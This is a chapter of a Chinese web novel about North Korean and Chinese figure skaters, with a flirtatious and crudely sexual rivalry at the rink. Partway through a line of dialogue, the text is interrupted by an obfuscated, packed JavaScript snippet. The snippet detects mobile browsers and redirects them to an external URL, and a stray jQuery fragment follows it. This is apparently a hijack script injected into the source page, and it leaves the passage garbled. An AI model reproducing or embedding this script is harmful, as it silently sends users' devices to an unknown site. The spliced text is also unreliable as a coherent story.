李宥珍又穿跟江逢棠一样的衣服,长款白色羽绒服,深蓝色的细条围巾塞在衣领里,牛仔裤和运动鞋也是一个颜色的,扎着同样的高马尾。
她还故意在冰场训练的时候,走到江逢棠面前几次,像是故意要让她看见。
江逢棠没搭理她,装作看不见,自己一个人训练。
高昱洋进来找人的时候,显然有些惊讶,这两人什么时候关系这么好了,穿搭都一致。
他从李宥珍身边走过去,来到江逢棠面前,步萌今天中午不在餐厅吃饭,他听说了,就想着过来约江逢棠吃火锅,这是他们前几天就说好的事。
他一提,江逢棠就答应了,又继续去训练。
李宥珍来到他旁边,走路没声音,“非得热脸去贴人家的冷屁股吗,你信不信,如果换做是她喜欢的人,她现在就收拾东西离开冰场去吃火锅了,而不是让你在旁边等着。”
高昱洋蹙眉,扭头看向她,他对这个女人有点印象,是上次跟江逢棠对战的朝鲜女运动员。
他低头看一眼她的鞋子,她没穿冰鞋,也不像是来训练的。
“你不练的话,可以走,我不喜欢跟陌生女人闲聊。”
李宥珍耸耸肩,伸出手搭在他的肩膀上,被他躲闪开,她目光看向江逢棠,低头笑了一下。
人家都没往这里看,他不是热脸贴冷屁股是什么。
“喂,反正你是想去吃火锅,不如我跟你去,我今天穿得跟江逢棠很像呢。你完全可以把我当作是她。”
“我说的,不止是吃火锅。”
她媚眼如丝,单眼皮狐狸眼,眼睛不算大,却十分有神,黑眼球偏小,白眼球更多。
身型骨瘦,行走的衣服架子,黑发马尾辫末端微卷,真像是雪山的野狐成精。
朝鲜以北,就有一座雪山。
高昱洋扫视她的脸,冷淡说:“我对你没兴趣。”
“兴趣总会有的,还好不是没感觉。”李宥珍再一次伸出手,抚上他的肩膀,这次被江逢棠看见了。
“也没有感觉。”他又说。
李宥珍嘟嘟嘴,眼神自下而上,用目光去飘他的脸,多清俊的男人,鼻梁高挺,眉目温润,身材也绝佳,怎么就不开眼,非要热脸贴冷屁股。
“你知道你这种行为是什么吗?”
“你想说我是舔狗吧,很多人都这么说。”
李宥珍摇摇头,伸出手做了个no的手势,“能舔到才算舔狗,你这顶多算是看狗,只能看,却舔不到。”
男人天生就对这种字眼敏感,高昱洋也如此,他是个正常男人,自然听出李宥珍话里的意思。
“女人开女人的黄腔,你还真是不要脸。”
他没有生气,嘴角浅浅上扬一个弧度,眼神瞬间冷下来。
李宥珍不以为意,耸耸肩,眨着眼睛一脸无辜地问他:“你猜,她跟宋秉宪在一起的时候,宋秉宪是不是经常能舔到她?”
“你住口。”他急了,眉眼压得很低,下颚线绷得很紧,这说明,戳到他的痛处了。
“不好意思,戳到你的肺管子了,我就是随便一说,你别往心里去。”
李宥珍连忙给他赔不是,转身离开,走出去两步,又停下脚步,回头看向他。
“宋指导员那方面应该是很厉害的,看他的鼻子就能看出来,而且再宽松的西裤两腿之间都撑得鼓鼓囊囊的。”
她目光下落,审视的意味。
“你好像不如他。”
“你!”
高昱洋脸变了色,一片通红,他指着李宥珍,几乎要骂出口,他从来不会对女人生气,却在这个女人面前忍不住,她根本不像女。
这个时候江逢棠走过来,他用余光看见,把手放下,勉强维持着稳定的情绪。
“不好意思啊,我刚才接到一个电话,我妈从国内给我寄了一些东西,快递员还在外面等我,我得过去一趟,不能跟你一起去吃火锅了。”
江逢棠背起书包,跑出去,他伸伸手,连她的发丝都没碰到,想说可以开车送她过去的。
李宥珍咂了一下嘴,这次没说什么,只是一个面部动作。
“现在看来只有我可以跟你一起去吃火锅了,我可以跟你平摊饭钱的,怎么样,考虑一下?”
“你把我当什么人了,除了江逢棠,我十几年没有跟别的女人单独吃过饭了。”
“双人份的火锅,我一个人还是吃的下的。”
高昱洋态度冷漠,迈着大步从她旁边过去,李宥珍被拒绝,没有半点不高兴,反正她也不是真心要跟这男人吃什么火锅。
她一转身,看到训练室门口站着一个人,崔政植自从负责运动员考勤后,就神出鬼没,她觉得他像个教导主任。
他手里拿着本和笔,钢笔戳到纸面上,墨水洇出来很多,几乎是把笔记本废了。
不知为何,李宥珍有种心虚感,不知道是不是因为她来冰场并非是为了训练的,今天不该她来,她却来了。
她眼珠一转,扬起笑脸,准备走过去跟这位小领导攀谈,怎料她还没走到他面前,他便转了身。
崔政植头也不回地走远,像是没看见她,也没听见她刚才对着中国花滑男运动员说的话。
她是个放荡风流的女人,他该清楚这一点,在看到她吸烟的时候,就应该像寻常人那样,笃定她不是个好女人。
李宥珍想了一下,本来是打算不追上去的,她在最后一秒改了主意,在他快要消失在眼前的时候。
“喂,小领导。”
“别叫我领导,在这里,只有宋指导员是领导。”
李宥珍怎么觉得他今天不太对劲,好像谁惹到他似的,没有之前去酒店找她的时候那么好说话。
“行,那我叫你的名字,崔政植。”
他听到他的名字从她嘴里说出来,心里像是有一根羽毛,轻轻扫过,转瞬即逝,快到让他回想不起来这是一种什么感觉,不知不觉停下脚步。
“我们没有这么熟,请称呼我的职务,我是体育省的秘书。”
“崔秘书,”李宥珍笑了一下,笑容十分灿烂,让人一下就忘了刚才她在冰场里刻薄的调戏别的男人的样子,“你怎么在这?今天可不是我训练,我只是,”
“你是有私事。”崔政植接过她的话,她没继续往下说,“这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126146|196086||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不归我管,只要不扰乱训练场的秩序,运动员二十四小时都可以过来,你想睡这里都行。”
李宥珍一想,他说的也没错,她来这里,确实有私事,但不是为了针对高昱洋,他是赶巧了。
“哦,我知道了,你干嘛像换了个人似的,昨天还好好的,我以为我们是朋友呢。”
“谢谢你帮我打卡考勤,话说我明天又要训练了,但是我今晚睡不早,估计起不来,崔秘书,可不可以再帮我一次?”
崔政植眉眼冷淡,直视前方,不去看她的脸,他知道这个女人现在是什么表情,她有求于他,会故意讨好。
“只帮你一次,我说过的。”
“你明天如果不来,朴教练会亲自找到你。”
李宥珍撇撇嘴,“你还知道我的教练是朴教练啊,好吧,我明天会过来训练的,大不了今晚不喝酒了,明晚再喝。”
崔政植已经准备走了,咬咬腮肉,犹豫半天,说:“不要再酗酒了,以你的天赋,完全可以成为国家队最强的花滑运动员,他们漠视你,你应该更争气。”
他这段时间,发现队里的人都不跟李宥珍有往来,甚至朴教练都要忘记还有她这个人了,他猜,她是被孤立了。
这种感觉肯定不好受,她抽烟喝酒,排解心中的郁闷,也情有可原。
李宥珍嘴唇嚅动两下,也没有解释,不是大家孤立她,而是她凭一己之力孤立大家。
谁找她吃饭,她都拒绝,哪怕这个人是朴教练,别的活动也是如此,除非是让她上场比赛,她才会按时出席。
一开始来队里的时候,朴教练还准备找人跟她聊天,去她的宿舍,刻意跟她当朋友,发现行不通,她这个人,注定是没有朋友的。
至于争气这事,她更没想过,只要不是队里的最后一名,就没有被踢出国家队的可能,朝鲜花滑运动员本来就少,三五年才有一个新人。
她要的只是一个铁饭碗,舒舒服服地过日子就行,什么名誉什么地位,她从不在意。
她是队里最没有国家荣誉感的人,这一点跟江逢棠完全相反,江逢棠就是一个把荣誉看得很重的人。
崔政植背对着她说话,没有再回头看她一眼,他今天格外吝啬自己的目光,就算是瞧她也是匆匆扫一眼。
李宥珍并不知道他在冰场外站多久,更不知道他听到她和高昱洋的全部对话,甚至还有那句评论宋指导员的话。
她平常也没少观察宋指导员,现在又把注意打到新来的中国运动员身上,崔政植是这样以为的。
江逢棠走出训练室,并没有去取什么快递,更没有联系任何一个朝鲜的快递员。
她那样跟高昱洋说,只是为了不跟他吃火锅。
如果他能在这里找到属于他的幸福,她会很高兴,她已经记不清自己拒绝过他多少次了,次数多到有些残忍。
她走到很远的地方,这是她来朝鲜,第一次走到三公里外的地方。
是一家服装店,在朝鲜算是顶级时髦的,礼服款的冬衣,裙摆很大,质感一点都不亚于国外的高定时装,每一件都是重工。
店里只有一个裁缝,没有客人。